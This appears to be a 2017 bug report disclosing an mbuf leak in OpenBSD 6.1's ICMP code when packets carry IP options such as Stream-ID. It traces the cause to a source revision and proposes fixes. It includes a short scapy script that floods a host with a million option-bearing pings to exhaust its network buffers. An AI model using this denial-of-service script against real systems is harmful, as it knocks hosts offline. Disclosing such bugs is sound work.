Gerlach, Hendrik
2017-05-22 11:33:08 UTC
Synopsis: OpenBSD 6.1: mbuf leak after receiving icmp/ip-Messages with IP-Options
Category: system IP-Stack
System : OpenBSD 6.1Category: system IP-Stack
Details : OpenBSD 6.1 (GENERIC) #291: Sat Apr 1 13:49:08 MDT 2017
***@i386.openbsd.org:/usr/src/sys/arch/i386/compile/GENERIC
Architecture: OpenBSD.i386
Machine : i386
When receiving icmp messages (e.g. ICMP ping) with specific IP-Options set
in the IP-Header a mbuf is lost. It is requested from the mbuf pool but never put
back to the pool mbufpl. So, if sending enough packets, the system will run out of
mbufs not be able to communicate any longer.
This happens for example with the stream ID option.
Seems the problem was introduced in OpenBSD's 4.9 icmp_reflect ()
(File ip_icmp.c Rev. 1.92) by removing m_free(opts) and moving the mbuf pointer
for the ip-options ("opts") one level up to icmp_input() without freeing the mbuf
there after the call to icmp_send().
Send a ICMP pings with the IP-Option Stream-ID option. This can easily done using
the following scapy script:
#!/usr/bin/python
from scapy.all import *
destip = "192.168.10.61"
icmp_payload = 'X'*10
ip_options= IPOption('\x88\x04\x00\x10') # stream ID option
ip_packet = IP(dst=destip, options=ip_options)/ICMP()/icmp_payload
i=1000000L
while i > 0:
send(ip_packet)
i=i-1
A possible fix maybe would calling m_free(opts) (if opts != NULL) after calling icmp_send()
(not verified) or reverting the code to the ip_icmp revision before 1.92 (which would be
more compatible to FreeBSD, MacOS where this problem not happens - maybe the original
reason for changing this doesn't exist any longer).
Best regards,
Hendrik